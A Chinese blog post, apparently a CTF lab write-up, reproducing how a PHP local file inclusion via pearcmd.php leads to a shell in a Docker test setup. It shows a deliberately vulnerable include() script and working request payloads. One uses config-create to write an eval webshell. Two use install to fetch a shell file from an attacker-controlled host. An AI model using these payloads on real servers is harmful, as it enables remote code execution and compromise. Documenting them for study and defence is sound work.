利用pearcmd.php本地文件包含(LFI)
一.前言
pearcmd这个东西很久以前就已经复现过了,但是当时没有记录下来。这些天在整理之前比赛的wp的时候突然看见了pear的LFI到getshell,就突然想起来自己应该是利用过了的。但是怎么找也找不到之前的笔记,于是就有了再复现一遍的想法。
二.正文
1.环境的准备
这里的话我使用的是docker来搭建的一个lamp,然后在这个lamp上面进行后续的漏洞复现。至于为什么这么做呢?照P神的话来说就是因为在Docker任意版本的镜像中pear都会被默认安装,这也就省去了我们搭建完lamp还要去安装pear的工作。
我用的镜像文件就是如下图所示的镜像
像正常docker一样拉取镜像,搭建环境就可以了。
然后我们要通过docker exec -it [container id] /bin/bash
进入docker命令行中
然后在web主目录下创建两个文件,以供后面的测试使用
内容分别为
<?php
//test.php
include($_REQUEST['file']);
?>
<?php
//test2.php
var_dump($_SERVER['argv']);
?>
2.复现
在此之前我们需要确定几件事情:
1.我们要找到pearcmd.php的文件位置。正常情况下在/usr/local/lib/php/pearcmd.php
2.我们要开启register_argc_argv选项,当然了docker的PHP镜像是默认开启的。
当我们开启register_argc_argv选项的时候,$_SERVER[‘argv’]就会生效。
而$_SERVER[‘argv’]有什么用呢,我们来看一下pearcmd.php的获取参数的代码段(这段代码在Getopt里面。
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
也就是说在argv的情况下,pearcmd.php是通过$_SERVER[‘argv’]来获取参数的。那么我们现在就要利用test2.php来看一下$_SERVER[‘argv’]是如何解析参数的。
我们依次传入参数
1
,a=1&b=1
,a=1+b=1
从上面的三个例子中我们发现了一些问题:
1.&符无发分割参数,真正能分割参数的是加号
2.等号无法赋值,而是会直接被传进去当作参数。
我们来看一下pear程序的内容
#!/bin/sh
# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/local/bin/php" = '@'php_bin'@'; then
PHP=php
else
PHP="/usr/local/bin/php"
fi
fi
# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/local/lib/php" = '@'php_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/local/lib/php"
INCARG="-d include_path=/usr/local/lib/php"
fi
fi
exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"
pear命令实质上就是调用了pearcmd.php,也就是说我们可以利用pear命令的形式来进行漏洞利用。
我们来看一下pear命令
(1)config-create
我们先来看第一种方法,也就是P神介绍的config-create的方法,payload如下
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php
(这里是向之前环境准备的test.php传参数)
结果如下图所示,这里用浏览器不成功的,可以用bp发包试试
这时候我们到docker中的命令行里面查看一下
我们已经成功在目标主机上创建了test文件,然后看一下里面的内容。
可以看到不仅我们的一句话木马被写进去了,与此同时我们的file参数也被写进去了。这是符合我们之前分析的结果的因为传给pearcmd的参数是$_SERVER[‘argv’],$_SERVER[‘argv’]会读取所有字符串并以加号进行分割。所以这里的file及其参数自然就被当作参数接纳了。
尽管如此我们还是可以通过蚁剑进行连接的。(这里就不放截图了)
(2)Install
除了上面的方法我们还可以使用install方法,从外面将shell文件下载进来然后进行getshell。
payload如下(源自W4师傅)
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php
从上面的分析中,我们不难看出这串payload所下载的文件的保存地址在
&file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/
路径下面,这里我在使用的时候会遇到一些有关配置方面的问题,因为名为&file=/usr/local/lib/php/pearcmd.php\&
的文件夹是新创建的,而我并没有权限对其进行写操作而导致利用失败。
但是,除此之外install命令还有另外一种利用的姿势,payload如下:
file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://192.168.1.9/index.php
结果如下图所示
然后我们去对应的目录下面就能找到我们刚才下载的文件。
这里只下载了一个目标机器上的index文件,事实上这里可以下载目标机器上事先备好的shell文件,然后下载下来进行getshell。
(3)一些疑惑与思考
在我找到第二种利用install命令下载文件的时候,我发现一个问题。$_SERVER[‘argv’]是将所有的参数包含,并用加号进行分割。但是在payloadfile=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://192.168.1.9/index.php
里面,我们不难看出$_SERVER[‘argv’]的第一个参数应该是file=/usr/local/lib/php/pearcmd.php&
,但是从结果的角度来讲这个参数并没有发挥作用,因为一旦这个参数被放到了pearcmd.php的后面,那么pearcmd.php会直接报错
事实上这在之前的几个payload中也有相应的体现,我是在P神博客的评论里面发现的
也就是说在前面的payload中第一个的加号至关重要,我们回到test2.php中来测试一下。
输入上述payload后
我们发现它的第一个参数是“”,也就是空串。这也就印证了第一个参数无法发挥作用的事实,因为当第一个加号被删除之后,第一个参数就是config-create它没有发挥作用所以导致payload无法成功。(当然这里的没有发挥作用指的是没有被放到pearcmd后面当参数)
于是,我陷入了思考,去找了pearcmd.php的源代码发现了一些端倪。
argv的值是函数readPHPArgv所赋予的,也就是之前做贴出的一个参数获取函数。他在后面的处理中直接对argv[1]进行分析,这也就直接导致了位于0位的参数失效的问题。
三.后记
这次复现总的来说比较简单,第二次做这个东西也解决了我第一次所忽略的一些细节。最近在看书,不知道什么时候才能肝完。年后要准备考研了,就不能这样干这些事情了,要专注的去准备考研了。